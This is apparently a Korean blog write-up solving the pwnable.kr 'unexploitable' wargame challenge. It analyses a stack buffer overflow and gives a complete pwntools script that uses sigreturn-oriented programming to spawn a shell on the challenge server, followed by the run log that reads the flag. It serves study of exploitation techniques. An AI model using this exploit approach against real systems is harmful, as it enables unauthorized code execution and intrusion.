Description

    I don’t think this is exploitable bug. do you agree?

    (task is patched. unintended easy solutions will not work from now :P)

    ssh [email protected] -p2222 (pw:guest)


    checksec

    seo@seo:~/Documents/pwnable.kr/unexploitable$ checksec ./unexploitable
    [*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[16]; // [rsp+0h] [rbp-10h] BYREF
    
      sleep(3u);
      return read(0, buf, 0x50FuLL);
    }

    16바이트 크기의 buf에 read 함수를 통해 0x50f만큼 넘치게 입력받으므로,
    버퍼 오버플로우가 발생한다.


    Solution

    쉘을 획득할 수 있는 쓸만한 rop 가젯들이 적기 때문에
    SigReturn-Oriented Programming 기법을 사용한다.

    rax 레지스터값을 SYS_rt_sigreturn 시스템콜 번호인 15로 컨트롤하기 위해 아래 가젯를 응용한다.

    gdb-peda$ disas main
    Dump of assembler code for function main:
    ...
       0x000000000040055b <+23>:    lea    rax,[rbp-0x10]
       0x000000000040055f <+27>:    mov    edx,0x50f
       0x0000000000400564 <+32>:    mov    rsi,rax
       0x0000000000400567 <+35>:    mov    edi,0x0
       0x000000000040056c <+40>:    mov    eax,0x0
       0x0000000000400571 <+45>:    call   0x400430 <read@plt>
       0x0000000000400576 <+50>:    leave
       0x0000000000400577 <+51>:    ret

    1) read(0, (void *)(0x601068), 0x50FuLL);
    16바이트만큼 더미로 채우고,
    rbp를 0x601078(=mem_region)으로 하여 0x601068 주소에 데이터를 쓰도록 만든다.

    # read(0, (void *)(mem_region-0x10), 0x50FuLL);
    # read(0, (void *)(0x601068), 0x50FuLL);
    payload = b'A'*16
    payload += p64(mem_region)
    payload += p64(main_lea_read)
    p.sendline(payload)
    sleep(0.5)

    2) 이제 0x601068 지점에 데이터를 쓰는데,
    여기에 “/bin/sh”, srop, 그리고 한번더 read 함수를 호출하게 만드는 페이로드를 작성한다.

    # set payload data to 0x601068
    # read(0, (void *)(mem_region+0x18), 0x50FuLL);
    # read(0, (void *)(0x601078), 0x50FuLL);
    payload = bin_sh                #0x601068
    payload += b'B'*8               #0x601070
    payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078
    payload += p64(main_lea_read)   #0x601080 <- control RIP
    payload += bytes(frame)         #0x601088 <- srop payload
    p.sendline(payload)
    
    # before leave; RBP: 0x601078 --> 0x601090 --> 0x0
    # after leave; RSP: 0x601080 --> 0x40055b (main_lea_read)
    # after ret; RIP: 0x40055b (<main+23>:       lea    rax,[rbp-0x10])
    
    sleep(0.5)

    3) 0x601078 지점에 15바이트만큼 데이터를 쓰는데,
    srop 페이로드는 유지한채로 이제 RIP가 syscall 주소로 향하게끔 만들면 된다.

    # make rax to 15 using read
    payload = p64(syscall)          #0x601078
    payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn)
    p.sendline(payload)
    
    # before leave; RBP: 0x601070
    # after leave; RSP: 0x601078 --> 0x400560 (syscall)
    # after ret; RIP: 0x400560 (<main+28>:       syscall)
    
    p.interactive()

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = process("./unexploitable")
    s = ssh('unexploitable', 'pwnable.kr', 2222, 'guest')
    p = s.process(executable="./unexploitable")
    e = ELF('./unexploitable')
    
    bin_sh = b"/bin/sh\x00"
    mem_region = e.bss()+0x50 #0x601078
    print(f"mem_region: {hex(mem_region)}")
    main_lea_read = e.symbols['main'] + 0x17
    print(f"main_lea_read: {hex(main_lea_read)}")
    syscall = e.symbols['main'] + 0x1c
    print(f"syscall: {hex(syscall)}")
    
    ########  SROP ########
    bin_sh_address = 0x601068
    frame = SigreturnFrame(arch="amd64")
    frame.rax = 0x3b
    frame.rdi = bin_sh_address
    frame.rip = syscall
    #######################
    
    sleep(3.5)
    
    # read(0, (void *)(mem_region-0x10), 0x50FuLL);
    # read(0, (void *)(0x601068), 0x50FuLL);
    payload = b'A'*16
    payload += p64(mem_region)
    payload += p64(main_lea_read)
    p.sendline(payload)
    sleep(0.5)
    
    # set payload data to 0x601068
    # read(0, (void *)(mem_region+0x18), 0x50FuLL);
    # read(0, (void *)(0x601078), 0x50FuLL);
    payload = bin_sh                #0x601068
    payload += b'B'*8               #0x601070
    payload += p64(mem_region+0x18) #0x601078 <- read to 0x601078
    payload += p64(main_lea_read)   #0x601080 <- control RIP
    payload += bytes(frame)         #0x601088 <- srop payload
    p.sendline(payload)
    # before leave; RBP: 0x601078 --> 0x601090 --> 0x0
    # after leave; RSP: 0x601080 --> 0x40055b (main_lea_read)
    # after ret; RIP: 0x40055b (<main+23>:       lea    rax,[rbp-0x10])
    sleep(0.5)
    
    
    # make rax to 15 using read
    payload = p64(syscall)          #0x601078
    payload += bytes(frame)[:6] # keep frame, make rax to 15 (SYS_rt_sigreturn)
    p.sendline(payload)
    # before leave; RBP: 0x601070
    # after leave; RSP: 0x601078 --> 0x400560 (syscall)
    # after ret; RIP: 0x400560 (<main+28>:       syscall)
    
    p.interactive()

    Result

    seo@seo:~/Documents/pwnable.kr/unexploitable$ python3 solve2.py
    [+] Starting local process './unexploitable': pid 29716
    [+] Connecting to pwnable.kr on port 2222: Done
    [*] [email protected]:
        Distro    Ubuntu 16.04
        OS:       linux
        Arch:     amd64
        Version:  4.4.179
        ASLR:     Enabled
    [+] Starting remote process bytearray(b'./unexploitable') on pwnable.kr: pid 210214
    [*] '/home/seo/Documents/pwnable.kr/unexploitable/unexploitable'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    mem_region: 0x601078
    main_lea_read: 0x40055b
    syscall: 0x400560
    [*] Switching to interactive mode
    $ $ ls
    flag  unexploitable  unexploitable.c
    $ $ cat flag
    sigreturn rop..? not a secret technique anymore!!
    $ $
    [*] Interrupted
    [*] Stopped process './unexploitable' (pid 29716)

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다